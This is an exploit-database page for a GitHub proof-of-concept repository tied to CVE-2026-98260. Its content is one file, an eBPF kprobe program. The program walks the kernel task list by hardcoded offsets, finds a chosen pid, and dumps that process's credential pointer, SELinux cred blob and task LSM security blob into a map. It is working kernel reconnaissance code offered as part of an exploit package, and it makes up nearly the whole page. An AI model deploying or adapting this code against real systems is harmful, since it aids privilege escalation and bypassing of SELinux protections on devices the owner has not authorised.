Exploit database

GH-b2682eea148b61d664fff913b24cc4d4

lw5959/xring-cve-2026-98260

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

60 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
lw5959/xring-cve-2026-98260Revision 8b404774be19

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/credprobe.bpf.c

C · 3,259 bytes
/* 读指定 pid 的 SELinux cred blob(avdcache)与 task LSM blob。
 * map 约定:key0=init_task 地址,key1=selinux_blob_sizes 地址,key2=目标 pid。 */
typedef unsigned long long u64;
typedef unsigned int u32;
#define SEC(NAME) __attribute__((section(NAME), used))
#define __uint(name, val) int (*name)[val]
#define __type(name, val) typeof(val) *name

static void *(*bpf_map_lookup_elem)(void *map, const void *key) = (void *) 1;
static long (*bpf_map_update_elem)(void *map, const void *key, const void *value, u64 flags) = (void *) 2;
static long (*bpf_probe_read_kernel)(void *dst, u32 size, const void *unsafe_ptr) = (void *) 113;

struct {
    __uint(type, 2);
    __type(key, u32);
    __type(value, u64);
    __uint(max_entries, 96);
} addrs SEC(".maps");

SEC("kprobe/__arm64_sys_read")
int readblob(void *ctx)
{
    u64 init_task = 0, sb = 0;
    u32 want = 0;
    {
        u32 k0 = 0, k1 = 1, k2 = 2;
        u64 *a = bpf_map_lookup_elem(&addrs, &k0);
        u64 *b = bpf_map_lookup_elem(&addrs, &k1);
        u64 *c = bpf_map_lookup_elem(&addrs, &k2);
        if (a) init_task = *a;
        if (b) sb = *b;
        if (c) want = (u32)*c;
    }
    if (!init_task || !want)
        return 0;
    /* selinux_blob_sizes.lbs_cred = SELinux 在 LSM 复合 cred blob 内的偏移 */
    u32 soff = 0;
    if (sb)
        bpf_probe_read_kernel(&soff, 4, (void *)sb);
    { u32 k = 3; u64 v = (u64)soff; bpf_map_update_elem(&addrs, &k, &v, 0); }

    u64 task = init_task;
    for (int i = 0; i < 4000; i++) {
        u64 next = 0;
        bpf_probe_read_kernel(&next, 8, (void *)(task + 1608));
        if (!next)
            break;
        u64 nt = next - 1608;
        if (nt == init_task)
            break;
        task = nt;
        u32 tpid = 0;
        bpf_probe_read_kernel(&tpid, 4, (void *)(task + 1816));
        if (tpid != want)
            continue;
        { u32 k = 4; u64 v = task; bpf_map_update_elem(&addrs, &k, &v, 0); }
        u64 cred = 0;
        bpf_probe_read_kernel(&cred, 8, (void *)(task + 2312));
        { u32 k = 5; u64 v = cred; bpf_map_update_elem(&addrs, &k, &v, 0); }
        if (cred) {
            u64 sec = 0;
            bpf_probe_read_kernel(&sec, 8, (void *)(cred + 128));
            sec += soff;
            { u32 k = 6; u64 v = sec; bpf_map_update_elem(&addrs, &k, &v, 0); }
            /* dump cred blob 前 128 字节:key 10..25 每项 8 字节 */
            for (int j = 0; j < 16; j++) {
                u64 chunk = 0;
                bpf_probe_read_kernel(&chunk, 8, (void *)(sec + j * 8));
                u32 k = 10 + j;
                bpf_map_update_elem(&addrs, &k, &chunk, 0);
            }
        }
        /* task LSM blob:task->security,dump 前 128 字节:key 30..45 */
        u64 tsec = 0;
        bpf_probe_read_kernel(&tsec, 8, (void *)(task + 3296));
        { u32 k = 7; u64 v = tsec; bpf_map_update_elem(&addrs, &k, &v, 0); }
        for (int j = 0; j < 16; j++) {
            u64 chunk = 0;
            if (tsec)
                bpf_probe_read_kernel(&chunk, 8, (void *)(tsec + j * 8));
            u32 k = 30 + j;
            bpf_map_update_elem(&addrs, &k, &chunk, 0);
        }
        break;
    }
    return 0;
}
char _license[] SEC("license") = "GPL";